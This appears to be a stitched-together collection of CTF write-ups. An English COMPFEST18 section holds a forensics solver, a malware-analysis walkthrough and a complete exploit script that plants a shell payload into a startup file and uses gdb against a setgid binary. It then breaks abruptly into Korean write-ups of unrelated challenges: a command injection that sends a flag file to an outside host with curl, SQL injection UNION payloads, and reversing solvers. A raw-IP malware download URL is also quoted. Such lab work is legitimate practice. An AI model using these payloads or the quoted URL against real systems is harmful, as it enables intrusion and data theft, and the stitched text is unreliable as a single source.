            reasons.append("no deleted-page case fragment corroborates this capture")
        else:
            if c["frag"]["host"] != man["host"]:
                reasons.append(f"fragment host={c['frag']['host']} != manifest host={man['host']}")
            if not any(f["evidence_ref"] == c["frag"]["evidence_ref"] for f in c["files"]):
                reasons.append("capture file record does not reference the fragment evidence_ref")
        if c["mutex"] is None:  reasons.append("no BG_MUTEX implant marker")
        if c["key8"] is None:   reasons.append("no 8-byte loader key in heap")
        if "libpam_bg" not in c["map"]["name"]:
            reasons.append(f"mapped region is {c['map']['name']}, not memfd:libpam_bg.so")
        if "w" not in c["map"]["perms"] or "x" not in c["map"]["perms"]:
            reasons.append(f"region perms {c['map']['perms']} are not RWX")
        pids = {p["pid"] for p in c["processes"]}
        lp = c["map"]["pid"]
        if lp not in pids: reasons.append(f"loader pid {lp} absent from process list/scan")
        if not any(n["pid"] == lp and n["state"] == "ESTABLISHED" for n in c["net"]):
            reasons.append(f"no ESTABLISHED C2 socket owned by pid {lp}")
        if reasons: excl[tag] = reasons
        else:       inev.append(tag)
    for tag in sorted(caps):
        if tag in excl:
            print(f"  EXCLUDE capture_{tag}: " + "; ".join(excl[tag]))
    print(f"  IN-EVENT: {inev}")
    assert len(inev) == 1, f"expected exactly one in-event capture, got {inev}"
    tag = inev[0]; c = caps[tag]

    print("\n== 5. loader config ==")
    pt = decrypt_cfg(c["region"], c["mutex"][1].encode(), c["key8"], bytes.fromhex(c["map"]["build_id"]))
    assert cfg_crc_ok(pt), "config crc32 self-check failed"
    (out / f"config_{tag}.json").write_bytes(pt)
    cfg = json.loads(pt)
    print("  crc32 self-check OK")
    print("  " + json.dumps(cfg, indent=2).replace("\n", "\n  "))
    assert cfg["c2_domain"] in {n["remote"].rsplit(":", 1)[0] for n in c["net"]}, \
        "config C2 not corroborated by socket table"

    print("\n== 6. timeline ==")
    tl = []
    for p in c["processes"]:
        if p["source"] == "scan" or p["pid"] == 1 or p["comm"] != "[kworker/u8:7]":
            tl.append((p["started"], f"pid {p['pid']} ({p['comm']}) started, ppid {p['ppid']}"))
    tl.append((c["capture_time"], f"capture_{tag} acquired (boot_id {c['boot_id']})"))
    seen = set()
    for t, e in sorted(tl):
        if (t, e) in seen: continue
        seen.add((t, e)); print(f"  {t}  {e}")

    print("\n== 7. closure token ==")
    jndi = normalize_jndi(next(h["raw"].decode() for h in c["heap"]
                               if h["printable"] and "ldap://" in h["raw"].decode()))
    build_id = c["map"]["build_id"]
    archive  = c["frag"]["_sha256"]
    cfg_sha  = hashlib.sha256(pt).hexdigest()
    sep      = cfg["closure_contract"]["digest_separator"]
    fields   = {"jndi_normalized": jndi, "build_id": build_id,
                "implant_id": cfg["implant_id"], "c2_domain": cfg["c2_domain"],
                "archive_sha256": archive}
    material = sep.join(fields[k] for k in cfg["closure_contract"]["digest_fields"])
    digest   = hashlib.sha256(material.encode()).hexdigest()
    print(f"  jndi_normalized = {jndi}")
    print(f"  digest material = {material}")
    tok = cfg["closure_contract"]["token_schema"]
    for k, v in {"capture_id": tag, "loader_pid": str(c["map"]["pid"]),
                 "implant_id": cfg["implant_id"], "build_id": build_id,
                 "config_sha256": cfg_sha, "archive_sha256": archive,
                 "digest": digest}.items():
        tok = tok.replace("{" + k + "}", v)
    print("\n  TOKEN: " + tok)
    (out / "token_candidate.txt").write_text(tok + "\n")

    if a.remote:
        import time
        from pwn import remote as pwnremote, context
        context.log_level = "error"
        r = pwnremote(a.host, a.port, timeout=25)
        buf, t0 = b"", time.time()
        while time.time() - t0 < 10:
            try:
                d = r.recv(timeout=2)
                if not d: break
                buf += d
                if b"Answer:" in buf: break
            except Exception: break
        sys.stdout.write(buf.decode(errors="replace"))
        print("\n>>> SENDING: " + tok)
        r.sendline(tok.encode())
        buf2, t0 = b"", time.time()
        while time.time() - t0 < 15:
            try:
                d = r.recv(timeout=3)
                if not d: break
                buf2 += d
            except Exception: break
        sys.stdout.write(buf2.decode(errors="replace"))
        r.close()

if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{8urh4n9u1ld_0r10n_148_m3m0ry_0n1y_104d3r_c453_c1053d_4f73r_5upp1y_ch41n_7r4c3_826df6b2a62673a1a6cbbb1c63244dd8ddc2933381f52723343274716fabde}

17. save the water

Steps

Q1 — victim IP → 192.168.100.10

The victim is .10, because it is the host that pulls /video.enc and /private.676767 from .20:80 and that runs cctv_service.py under C:\Users\satria. Direction analysis of the ICMP tunnel argues the opposite way, so this answer is worth testing rather than deducing, and the grader does accept .10.

Q2 — "complete versioning artifact exposed by the initiator during the very first phase" → 5.1.26100.8521

The answer is the complete version string carried by the User-Agent header of the first HTTP request:

GET /video.enc HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.8521

Q3 — first 4 magic bytes used to authenticate → de-ad-be-ef

The whole TCP/4444 conversation is one 17-byte push:

b'\xde\xad\xbe\xef_AUTH_SUCCESS'

Q4 — 32-bit SSRC of the heavy multimedia stream → 2196231738

The heavy multimedia stream is the RTP stream carried on UDP/1234, and its synchronisation source identifier is SSRC = 0x82E7D63A, which is 2196231738 in decimal.

Q5 — secret hidden "without inserting it into the data payload" → d0nt_ruN_th3_m4lw4r3_y4hh_82117caa

The 280 BEACON echo requests are byte-identical, so the channel is the gap between them, where a gap of roughly 1 s encodes 0 and a gap of roughly 2 s encodes 1. The 280 intervals decode to 35 bytes, d0nt_ruN_th3_m4lw4r3_y4hh_82117caa5, and the question's Format: 34 character string drops the trailing 5. That character is not noise: it is the first character of the suffix that the next question supplies.

Q6 — MD5 of the reconstructed payload → c61e123e24a6025bc1aac86391385070

Every ICMP echo request with id == 1337 carries the magic EXFIL followed by 1400 bytes of file data, and the packets are ordered by the ICMP sequence number. The 32,220 full packets plus one 1394-byte tail reassemble into 45,109,394 bytes, which is a Windows minidump (MDMP).

pay = icmp[8:]
assert pay[:5] == b"EXFIL"
dump[seq*1400 : seq*1400 + len(pay) - 5] = pay[5:]

The reassembled file hashes to md5(public.dmp) = c61e123e24a6025bc1aac86391385070. Its CommentStreamW even records how the dump was taken: *** procdump.exe -ma python.exe public.dmp / *** Manual dump.

Q7 — AES key left in memory → bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!

The dumped process is python cctv_service.py, running with the working directory C:\Users\satria\Downloads\. CPython 3.13 leaves one PyBytes object per source token on the heap, so the entire script can be reconstructed from the dump, and the only secrets it contains are the AES key and the IV:

AES_KEY = b"bd7bf788d62bdec9c219316da4487314"
AES_IV  = b"y0u_g0t_tr4pp3d!"
cipher  = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
encrypted_data = cipher.encrypt(pad(file_data, AES.block_size))

Decrypting video.enc (8,145,648 B) with AES-256-CBC and stripping 11 bytes of PKCS#7 padding yields video.zip, which in turn contains video.mp4, a 6.6-second 1920×1080 HEVC clip.

The dump also carries two taunts, namely [!] LAYANAN AKTIF - KREDENSIAL BERSARANG DI RAM and [!] Jangan tutup terminal ini. Lakukan dumping public.dmp menggunakan Procdump sekarang. The first of them is bait, because the ZIP password is not in RAM: the archives were built on the attacker host, and the dump contains no pyzipper, setpassword or AESZipFile string at all.

Q8 — multi-digit authorization code "revealed on the evidence" → 16031115

All 199 frames of video.mp4 show a hand holding a sheet of paper with a handwritten number. Registering the frames by phase correlation and thresholding the ink gives eight glyphs. The fourth glyph is genuinely ambiguous, since it reads as B, 0 or 3, but the grader accepts 16031115, and the same string is the password of the inner fastAI.zip.

Q9 — SHA-256 of the malware → be69c8…deb33d

private.676767 is a WinZip-AES (AE-1, AES-256, real method 14 = LZMA) archive whose password is Q5's 34 characters plus the suffix the questionnaire supplies:

d0nt_ruN_th3_m4lw4r3_y4hh_82117caa + 512de1cc679e2acb37092e10a6111c22

That yields fastAI.zip, which opens with 16031115 and contains fastloader.exe (74,408,861 B). The binary was hashed as a stream and never executed:

sha256 = be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d

Q10 — "starting point (Offset) and data block length (Size)" → 00009600_046ECD9D

This question was the hard one, and the difficulty lay in formatting rather than analysis.

fastloader.exe is an NSIS-3 installer stub with a large appended archive. Its PE image ends where the last section ends, that is .rsrc at raw 0x8800 plus 0xE00, giving 0x9600, and the file is 0x46F639D bytes long, so the overlay length is 0x46F639D − 0x9600 = 0x46ECD9D. The NSIS first header sitting exactly at 0x9600 confirms both numbers independently:

0x9600: flags=0x4  siginfo=0xDEADBEEF  "NullsoftInst"
        length_of_header             = 0x9B36
        length_of_all_following_data = 74370461 = 0x46ECD9D

The pair 9600 / 46ECD9D is what every overlay-aware tool reports. It was tested early and rejected — as were roughly 250 other structural Offset_Size pairs covering the ICMP tunnel, the pcap carve offsets, all five NSIS data blocks, every ZIP member, all 18 minidump streams, the MP4 boxes and every PE section, each in both bare and 0x-prefixed form.

The break came from characterising the grader instead of guessing more numbers. Probing it with deliberately mutated known-good answers shows the comparison is a literal user.strip().lower() == expected.lower():

• DE-AD-BE-EF for Q3 is accepted, so the comparison is case-insensitive.
• de-ad-be-ef with junk prepended or appended is rejected, so there is no substring match.
• de ad be ef is rejected, so there is no separator normalisation.
• 016031115 for Q8 is rejected, so there is no numeric normalisation.
• ' 16031115 ' is accepted, so only strip() is applied.

The fourth row is the key: if a leading zero can break a correct answer, then leading zeros can equally be part of the correct answer. The author had copied the pair out of a tool that prints 8-digit zero-padded hex (Detect It Easy / a hex editor), so the expected string is the padded form:

00009600_046ECD9D

Q11 — original developer of the smuggled privilege-escalation utility → Johannes_Passing

Extracting the overlay gives $PLUGINSDIR/app-64.7z (offset 0xC52A, 0x46A3975 bytes, stored uncompressed), and unpacking that archive gives a stock-looking Electron app whose real payload is resources/app/main.js. That file is obfuscated with javascript-obfuscator, and once its 1,132-entry string array is restored it proves to be a loader that disables Defender, screenshots the desktop through PowerShell, exfiltrates over Telegram and pulls http://62.60.226.198/uploads/b1bfea2e28e542199321fe20ca1737f1.exe.

The utility the question refers to is resources/elevate.exe (107,520 B), the UAC-elevation helper that electron-builder bundles. It carries no VERSIONINFO author string, so the only attribution left in the binary is its PDB path:

C:\Dev\elevate\bin\x86\Release\Elevate.pdb

That path identifies elevate by Johannes Passing (github.com/jpassing/elevate).

Verified answer sheet

The questionnaire graded the following eleven answers as correct and then released the flag:

 1  192.168.100.10
 2  5.1.26100.8521
 3  de-ad-be-ef
 4  2196231738
 5  d0nt_ruN_th3_m4lw4r3_y4hh_82117caa
 6  c61e123e24a6025bc1aac86391385070
 7  bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!
 8  16031115
 9  be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d
10  00009600_046ECD9D
11  Johannes_Passing

Reproducer

The whole chain reduces to the six mechanical steps below, after which one script enumerates the questions and another answers all eleven of them and prints the flag:

PY=python3

$PY qenum.py
$PY q11.py

Exploit

solve_evidence.py

import hashlib
import struct
import subprocess
from pathlib import Path


PCAP = Path("/evidence/public.pcap")
DUMP = Path("/evidence/public.dmp")


def fields(display_filter, *names, decode_as=()):
    command = ["tshark", "-r", str(PCAP)]
    for rule in decode_as:
        command += ["-d", rule]
    command += ["-Y", display_filter, "-T", "fields"]
    for name in names:
        command += ["-e", name]
    return subprocess.check_output(command, text=True).splitlines()


http = fields("http.request", "ip.src", "ip.dst", "http.request.uri", "http.user_agent")
print("HTTP requests:")
for line in http:
    print(" ", line)

auth = fields("tcp.port==4444 && tcp.len>0", "ip.src", "ip.dst", "tcp.payload")
first_auth = bytes.fromhex(auth[0].split("\t")[-1])
print("Q3 auth magic:", first_auth[:4].hex("-"))

ssrcs = sorted(set(fields("udp.dstport==1234", "rtp.ssrc", decode_as=("udp.port==1234,rtp",))))
for ssrc in ssrcs:
    if ssrc:
        print("Q4 RTP SSRC:", int(ssrc, 16), f"({ssrc})")

beacons = []
for line in fields("icmp.type==8 && icmp.ident==9999", "icmp.seq", "frame.time_epoch", "data.data"):
    seq, timestamp, payload = line.split("\t")
    assert bytes.fromhex(payload) in (b"BEACON", b"END_BEACON")
    beacons.append((int(seq), float(timestamp)))
beacons.sort()
bits = ["1" if later[1] - earlier[1] > 1.5 else "0" for earlier, later in zip(beacons, beacons[1:])]
decoded = bytes(int("".join(bits[i:i + 8]), 2) for i in range(0, len(bits), 8))
print("Q5 timing bytes:", decoded.decode())
print("Q5 34-character answer:", decoded[:34].decode())

pieces = {}
with PCAP.open("rb") as capture:
    global_header = capture.read(24)
    assert global_header[:4] == b"\xd4\xc3\xb2\xa1"
    assert struct.unpack_from("<I", global_header, 20)[0] == 1
    while record_header := capture.read(16):
        assert len(record_header) == 16
        captured_length = struct.unpack_from("<I", record_header, 8)[0]
        frame = capture.read(captured_length)
        assert len(frame) == captured_length
        if len(frame) < 42 or frame[12:14] != b"\x08\x00":
            continue
        ip = frame[14:]
        header_length = (ip[0] & 0x0f) * 4
        if ip[0] >> 4 != 4 or ip[9] != 1 or len(ip) < header_length + 8:
            continue
        icmp = ip[header_length:]
        icmp_type, identifier, seq = icmp[0], int.from_bytes(icmp[4:6], "big"), int.from_bytes(icmp[6:8], "big")
        payload = icmp[8:]
        if icmp_type != 8 or identifier != 1337 or not payload.startswith(b"EXFIL"):
            continue
        piece = payload[5:]
        if seq in pieces:
            assert pieces[seq] == piece
        else:
            pieces[seq] = piece

seen = set(pieces)
with DUMP.open("wb+") as output:
    for seq, piece in sorted(pieces.items()):
        output.seek(seq * 1400)
        output.write(piece)
assert seen == set(range(max(seen) + 1))
dump_bytes = DUMP.read_bytes()
assert dump_bytes.startswith(b"MDMP")
print("Q6 dump packets:", len(seen))
print("Q6 dump size:", len(dump_bytes))
print("Q6 dump MD5:", hashlib.md5(dump_bytes).hexdigest())

decrypt_video.py

import hashlib
from pathlib import Path

from Cryptodome.Cipher import AES


source = Path("/input/video.enc").read_bytes()
key = b"bd7bf788d62bdec9c219316da4487314"
iv = b"y0u_g0t_tr4pp3d!"
plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(source)
padding = plaintext[-1]
assert 1 <= padding <= AES.block_size
assert plaintext.endswith(bytes([padding]) * padding)
plaintext = plaintext[:-padding]
assert plaintext.startswith(b"PK\x03\x04")
Path("/output/video.zip").write_bytes(plaintext)
print("ciphertext_size=", len(source))
print("pkcs7_padding=", padding)
print("video_zip_size=", len(plaintext))
print("video_zip_sha256=", hashlib.sha256(plaintext).hexdigest())

answer.py

import re, sys
from pwn import remote, context

context.log_level = "error"

ANSWERS = [
    "192.168.100.10",
    "5.1.26100.8521",
    "de-ad-be-ef",
    "2196231738",
    "d0nt_ruN_th3_m4lw4r3_y4hh_82117caa",
    "c61e123e24a6025bc1aac86391385070",
    "bd7bf788d62bdec9c219316da4487314_y0u_g0t_tr4pp3d!",
    "16031115",
    "be69c8c00b73aadbb26ca44707ec1d489f891d2e848dd7e834b8f881bcdeb33d",
    "00009600_046ECD9D",
    "Johannes_Passing",
]

r = remote(sys.argv[1], int(sys.argv[2]), timeout=30)
transcript = b""
for i, a in enumerate(ANSWERS, 1):
    chunk = r.recvuntil(b"Answer:", timeout=60)
    transcript += chunk
    r.sendline(a.encode())
    print(f"[{i:2}/11] sent {a[:40]}")
transcript += r.recvrepeat(15)
r.close()
text = re.sub(rb"\x1b\[[0-9;]*m", b"", transcript).decode(errors="replace")
print(text[-1200:])
m = re.search(r"COMPFEST18\{[^}]*\}", text)
print("\nFLAG:", m.group() if m else "NOT FOUND")

Dockerfile.analysis

FROM ubuntu:26.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update \
    && apt-get install -y --no-install-recommends \
        binutils \
        ffmpeg \
        file \
        p7zip-full \
        python3 \
        python3-pycryptodome \
        tshark \
        unzip \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /analysis

Final Flag

COMPFEST18{b0r05_41r_vv0y_j4n64n_p3cu7_p3cu7_41_mu1u_dfmabfbfdadf}

Miscellaneous

18. Jacobian as a Service

Steps

1. On the first connection, plant a payload into /home/sage/sage/src/bin/sage-env using the file write behind menu option 2. The payload starts wut normally and then attaches to it with gdb.

2. On a second connection, trigger the payload, since any new sage start sources sage-env. Inside the attached, group-stopped wut process, whose effective group id is target, read the flag using inferior calls:

   gdb -q -batch -p $P \
     -ex 'handle SIGSTOP nostop noprint nopass' -ex 'set unwindonsignal on' \
     -ex 'call (int)getpid()' \                    # throwaway: absorbs the pending SIGSTOP
     -ex 'set $b=(char*)malloc(256)' -ex 'call (int)memset($b,0,256)' \
     -ex 'set $f=(int)open("/home/ctf/flag.txt",0)' -ex 'call (int)read($f,$b,255)' \
     -ex 'x/s $b'

3. Collect the flag, which comes back over the same socat pty.

The whole chain was built and solved locally first against a placeholder flag COMPFEST18{test_flag}, and the remote run then succeeded on the first attempt.

Exploit

import re, socket, sys, time
from pathlib import Path

SAGE_ENV = "/home/sage/sage/src/bin/sage-env"
SETGID_BIN = "/home/ctf/tes"
FLAG_PATH  = "/home/ctf/flag.txt"
GDB = (
    "gdb -p $P -batch "
    "-ex 'set confirm off' "
    "-ex 'set $b=(char*)malloc(256)' "
    f"-ex 'set $fd=(int)open(\"{FLAG_PATH}\",0)' "
    "-ex 'set $n=(int)read($fd,$b,255)' "
    "-ex 'set *($b+$n)=0' "
    "-ex 'printf \"MYFLAG=%s\\n\", $b' "
    "-ex detach"
)
PAYLOAD = (
    f"{{ {SETGID_BIN} & P=$!; sleep 1; kill -CONT $P; sleep 1; "
    f"{GDB} 2>&1 | grep -a MYFLAG; }} > /tmp/x 2>&1; cat /tmp/x"
)

class Svc:
    def __init__(s, host, port, token):
        s.s = socket.create_connection((host, port), timeout=40); s.s.settimeout(20); s.buf = b""
        s.until("access token:"); s.s.sendall(token.encode() + b"\n")
    def until(s, pat, t=25):
        s.s.settimeout(t)
        try:
            while pat.encode() not in s.buf:
                c = s.s.recv(65536)
                if not c: break
                s.buf += c
        except Exception: pass
        d, s.buf = s.buf, b""
        return d.decode(errors="replace")
    def line(s, x): s.s.sendall(x.encode() + b"\n")
    def close(s):
        try: s.s.close()
        except Exception: pass

def plant(host, port, token, path, content):
    sv = Svc(host, port, token)
    sv.until(">"); sv.line("2")
    sv.until("bug name:"); sv.line(path)
    sv.until("description:"); sv.line(content)
    out = sv.until(">", 20); sv.close()
    return "report saved" in out

def trigger(host, port, token):
    sv = Svc(host, port, token)
    out = sv.until("COMPFEST18{", 60)
    sv.close(); return out

if __name__ == "__main__":
    host, port = sys.argv[1], int(sys.argv[2])
    token = sys.argv[3]
    print("[*] planting payload into", SAGE_ENV)
    print("[+] planted" if plant(host, port, token, SAGE_ENV, PAYLOAD) else "[!] plant failed")
    time.sleep(2)
    print("[*] triggering on a fresh connection")
    out = trigger(host, port, token)
    m = re.search(r"COMPFEST18\{[^}]+\}", out)
    print("[+] FLAG:", m.group(0) if m else "(not found)")
    if not m: print(out[-1200:])

Final Flag

COMPFEST18{the_jacobian_conjecture_is_false_claude_VdMvfnAuiINI4ZFE}

가장 까다로운 문제였다. 문제 파일 구성은 저렇게 되어있다. main.py를 분석해보았다. JWT를 각각의 유저에게 발급해준다. admin의 JWT Key는 이 방법으로는 고유 Key값을 알 수 없기 때문에 알 수 없다. JWT는 auth라는 이름의 cookie에 저장된다.

이 때 특정 파라미터들은 id가 admin이고, isAdmin이 True가 되야한다. 단순히 admin으로 위조하는 것이 불가능한 것을 확인했다. 로그인 과정에서 아이디에 대소문자 알파벳을 제외한 모든 특수기호를 블랙리스트로 필터링하는 과정이 있기에 SQL injection은 불가능한 것을 알 수 있다.

하지만 SSTI 공격 기법은 가능해보였다. 다음을 뜯어서 확인해본 결과 JWTkey를 알 수 있었다.

여기서 페이로드의 base64의 값을 id : admin isAdmin : true 로 바꾼 뒤 시크릿의 값을 아까 찾은 Key값으로 바꾼다.

쿠키 값을 변조한 후, 다음으로 해야할 것은 이 코드에서는 airport의 입력값을 필터링 과정없이 shell로 가져가기 때문에 command injection 공격을 시도할 수 있다.

파일에 들어있는 flag.txt를 읽어보았는데 안되길래 뭔가해서 ls로 확인해보니 파일명이 틀렸다. (...) 아무튼 그래서 올바른 위치를 타겟으로 다시 쿼리를 짜니

/api/metar?airport=;cat flag_qaiu.txt | curl -d @- https://fufvaya.request.dreamhack.games

됐다.

W2

다음과 같이 테이블에 끼워넣는다. 다음의 필터링에 유의하며 문제를 풀이해보면,

이 소스는 로그인 페이지를 걸쳐 profil 페이지로 넘어가는 구조이다. 프로필 페이지 소스를 보면 user_id 쿼리를 그대로 가져다가 출력한다.

따라서 저 부분을 flags 테이블에서 불러오는 것으로 변조하면 프로필 페이지에 플래그가 노출될 것이다. 프로필 페이지에 접근하기 위해선 무조건 로그인이 되어있어야하기에 일단 guest로 로그인 한 후, 파라미터를 변조해보겠다.

다음과 같은 flags 테이블에서 flag_value의 값들을 출력하는 쿼리를 짜서 변조해보면

/profile?id=-1 UNION SELECT flag_value, 'a', 'b', 'c' FROM flags--

이때 a,b,c는 비어있는 Email, Role, Secret을 채워넣기 위해 쓴 것이다. 정상적으로 풀렸다.

SRS

소스 코드를 분석해보기 위해 문제 파일을 다운로드 받았다. 소스 파일은 app.py와 flag_server.py가 있었고, 두 개 다 열어보았다. 다음은 flag_server.py 코드인데 'flag' : ... 다음과 같은 형식으로 플래그가 대놓고 들어나 있었다.

T야?

문제 사이트에 들어가보았다. 다음과 같은 로그인 창만 놓여있고, 특이사항은 보이지 않았다. 따라서 소스 코드를 분석해보았는데, 시작할 때, db에서 users라는 테이블과 flags라는 테이블 두 개를 만든다. 다음과 같이 INSERT를 통해 값들도 채워준다. users와 admin은 각각 암호화된 비밀번호를 갖고, flags는 flag_value라는 값을 갖는데 표면으로 들어나지 않고 REDACYED가 적혀있는 것을 보아, 말 그대로 플래그 값을 지니는 것 같았다. username과 password를 별도의 처리과정 없이 입력 값 그대로 가져가기 때문에 SQL injection을 할 수 있는 환경이 되었다. 이 쿼리는 말 그대로 입력값을 그대로 db에 명령어로 써넣고 지정 값을 가져오기 때문에, users테이블에서 SELECT를 ' 명령어로 종료시키고 flags 테이블로 전환하여 SELECT를 해오면 된다.

로그인에 성공시 출력되는 것은 username이기에 flag_value를 username 대신 출력해주는 쿼리를 짜보면 다음과 같다.

username = ' UNION SELECT 1, flag_value, 'x', 'x' FROM flags --
password = 아무거나

문제 파일을 다운로드 한 후, 바이너리를 IDA로 열어서 디컴파일된 main 함수부터 살펴보았다. 입력받은 문자열 v4를 인자로 갖는 함수 checkPassword 에서 참이 반환되면 realllllll.jpg 라는 파일을 서버에서 내려받는 시스템이다. 함수 checkPassword를 확인해보면 다음과 같은 입력값을 검증하는 코드를 확인할 수 있다. 검증은 비교적 간단하다. v4[v3[i]]와 0x55 XOR 연산한다. 이 때 이 값이 입력받은 문자열의 인덱스값과 다르면 즉시 0을 반환한다. 모든 키 값이 동일할 경우, 마지막 문자열이 0 이면 '참' 아니면 '거짓'을 반환한다.

#include <stdio.h>

int main() {
    unsigned long long v4[3] = {0xB21E9F215807A934, 0x934F18E7D50CC430, 0xAC55FEDA3B81672A};
    unsigned char *bytes = (unsigned char *)v4;

    char key[7];

    int v3[6] = {0, 2, 4, 6, 8, 10};

    for (int i = 0; i < 6; i++) {
        key[i] = bytes[v3[i]] ^ 0x55;
    }
    key[7] = 0;

    printf("%s", key);

    return 0;
}

다음의 코드로 Key 값을 찾은 결과 정답 키값은 aRtKeY였다. 해당 코드를 gdb로 실행시킨 후, aRtKeY를 입력하여 realllllll.jpg 파일을 다운로드 받았다. 하지만 어째서인지 jpg 파일이 깨져있었고 HxD를 이용하여 Hex 데이터를 분석하여 jpg 파일 헤더에 이상이 있는지 확인해보았다. 그 결과 FF D8이 되어야하는 부분이 FF DB로 되어있는 것을 확인하고 고쳤다. 그랬더니 정상적으로 jpg 파일이 열리며 파일에 담긴 플래그를 찾을 수 있었다.

사진은 조금 흉측한 관계로 첨부하지 않겠다..

YEKROX

마찬가지로 문제 파일을 다운 받은 후, IDA로 디컴파일하여 main함수를 보았다. var0라는 문자열에 암호화된 확인 문자열이 들어가는 것을 확인할 수 있었다. 암호화는 간단하게 인덱스값과 66을 더한 후, v3와 XOR 연산을 실시한다. v3의 값은 byte_402040에 저장된 값이다. 이 문제는 입력받은 값을 암호화하여 키 값과 비교하는 것이 아니므로 역연산이 필요없다. 따라서 byte_402040에 저장된 값을 확인한 후, 그대로 코드를 짜주었다.

#include <stdio.h>

int main() {
    unsigned char byte_402040[36] = {
    0x0E, 0x22, 0x3D, 0x20, 0x34, 0x70, 0x33, 0x20, 0x2D, 0x24, 0x13,
    0x20, 0x21, 0x3B, 0x20, 0x3E, 0x3D, 0x3F, 0x39, 0x2C, 0x33, 0x38,
    0x36, 0x06, 0x3D, 0x3A, 0x25, 0x28, 0x30, 0x00, 0x15, 0x0F, 0x06,
    0x06, 0x16, 0x18
    };


    unsigned char vars0[37] = {0};

    int v3 = 14;

    for (int i = 0; i < 36; i++) {
        v3 = byte_402040[i];
        vars0[i] = v3 ^ (i + 66);   
    }

    vars0[36] = 0;

    printf("%s", vars0);

    return 0;
}

플래그는 정상적으로 출력되었다.

XORING

문제파일을 IDA로 실행시킨 후, main함수를 보았다. s2에 xmmword_2060에 값을 넣고 입력받은 문자열과 v6의 주소값을 인자로 사용하여 sub_1350을 실행한다. 이 함수를 통해 입력받은 값 31바이트의 문자열을 XOR 암호화한 후, 아까 main 함수에서 memcmp를 통해 키값과 비교하여 일치하는지를 검사한다. 하지만 여기서 이상한 점을 발견할 수 있는데 단순히 xmmword_2060에 저장된 값은 16바이트 밖에 안된다. 따라서 15바이트를 또 찾아내야한다. 또한 xmmword_2060의 저장된 값 역시 그대로 참조하는 것이 아닌, 리틀엔디안 방식 즉, 뒤에서부터 1바이트씩 가져와야한다. 이제 나머지 15바이트를 찾아보자. 본인은 도저히 찾기가 어려워서 디컴파일을 해제하고 다시 어셈블리를 확인하여 분석을 이어갔다. 그러다가 main함수에 위쪽에서 특이한 것을 발견했다. 살짝 해석해보면 var_78은 8바이트, var_70은 4바이트, var_6C는 2바이트, var_6A는 1바이트를 갖는 스택 프레임의 변수 레이아웃이였다. s2는 우리가 아까봤던 xmmword 인것을 보니 이것을 모두 더한 31바이트가 키값이 되는 것을 확신하고 각각의 변수에 저장된 값을 확인하여 아까봤던 XOR 연산의 역산 코드를 작성하였다.

int main() {
    uint8_t enc[31] = {
        0x06, 0x22, 0x2F, 0xD0, 0x20, 0x44, 0x39, 0x30,
        0x2B, 0x67, 0x63, 0x64, 0x12, 0x65, 0x73, 0x1A,
        0x72, 0x72, 0x58, 0xA0, 0x87, 0xAB, 0x5F, 0x85,
        0x81, 0x97, 0x8D, 0xEC,
        0xEC, 0xEC,
        0xEF
    };

    char flag[32];
    int v2 = 3;

    for (int i = 0; i < 31; ++i) {
        int temp = (enc[i] ^ 0x5A) - 13;
        int ch = temp ^ v2;
        v2 = (v2 + 7) & 0xFF;
        flag[i] = (char)ch;
    }

    flag[31] = '\0';

    printf("%s", flag);
    return 0;
}

다음 코드를 실행 시키면 플래그가 출력된다.

How can i live without u

IDA를 이용해 디컴파일 한 후, main함수를 확인해보았다.

 __int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v4; // edx
  int i; // eax
  char v6; // cl
  __int64 v7; // rdx
  size_t v8; // rax
  char *v9; // rdx
  char v10; // al
  __int64 j; // rax
  char *v12; // r8
  char *v13; // rdx
  int v14; // eax
  char v15; // cl
  char *v16; // rax
  int v17; // ecx
  int v18; // edx
  int v19; // esi
  __int64 k; // rsi
  int v21; // edx
  char v22; // al
  char v23; // al
  unsigned int v24; // r12d
  int v26; // [rsp+Ch] [rbp-1FCh]
  __int128 v27; // [rsp+10h] [rbp-1F8h] BYREF
  _BYTE v28[64]; // [rsp+20h] [rbp-1E8h] BYREF
  char s1[144]; // [rsp+60h] [rbp-1A8h] BYREF
  char s[280]; // [rsp+F0h] [rbp-118h] BYREF

  v3 = 0;
  v26 = 305419896;
  do
  {
    v4 = v3 ^ v26;
    v3 -= 1640531527;
    v26 = v4;
  }
  while ( v3 != -844395452 );
  for ( i = 0; i != 64; ++i )
  {
    v6 = i;
    v7 = i;
    v28[v7] = v6 ^ 0x5A;
  }
  __printf_chk(1, "Enter the flag: ");
  fflush(stdout);
  if ( fgets(s, 256, stdin) )
  {
    v8 = strcspn(s, "\n");
    v9 = (char *)&v27;
    s[v8] = 0;
    v10 = 0;
    v27 = 0;
    while ( 1 )
    {
      *v9++ = __ROL1__(~v10, 1) + 51;
      if ( v28 == v9 )
        break;
      v10 = *v9;
    }
    if ( strlen(s) != 144 )
      goto LABEL_23;
    for ( j = 0; j != 144; ++j )
      s1[j] = s[j];
    v12 = s1;
    v13 = s1;
    v14 = 0;
    do
    {
      v15 = v14;
      v14 += 23;
      *v13++ ^= v15 ^ 0x42;
    }
    while ( (_BYTE)v14 != 0xF0 );
    v16 = s1;
    v17 = 55;
    v18 = 19;
    do
    {
      *v16 += v18;
      v19 = v17;
      ++v16;
      v17 += v18;
      v18 = v19;
    }
    while ( s != v16 );
    for ( k = 0; k != 144; ++k )
      s1[k] = __ROL1__(s1[k], k % 7 + 1);
    v21 = 0;
    do
    {
      v22 = *v12++;
      v23 = v21 ^ v22;
      v21 += 3;
      *(v12 - 1) = v23 ^ 0xAA;
    }
    while ( s != v12 );
    v24 = memcmp(s1, &unk_402040, 0x90u);
    if ( v24 )
    {
LABEL_23:
      v24 = 1;
      __printf_chk(1, "Wrong!\n");
    }
    else
    {
      __printf_chk(1, "Yes\n");
    }
  }
  else
  {
    v24 = 1;
    __printf_chk(1, "Error reading input!\n");
  }
  return v24;
}

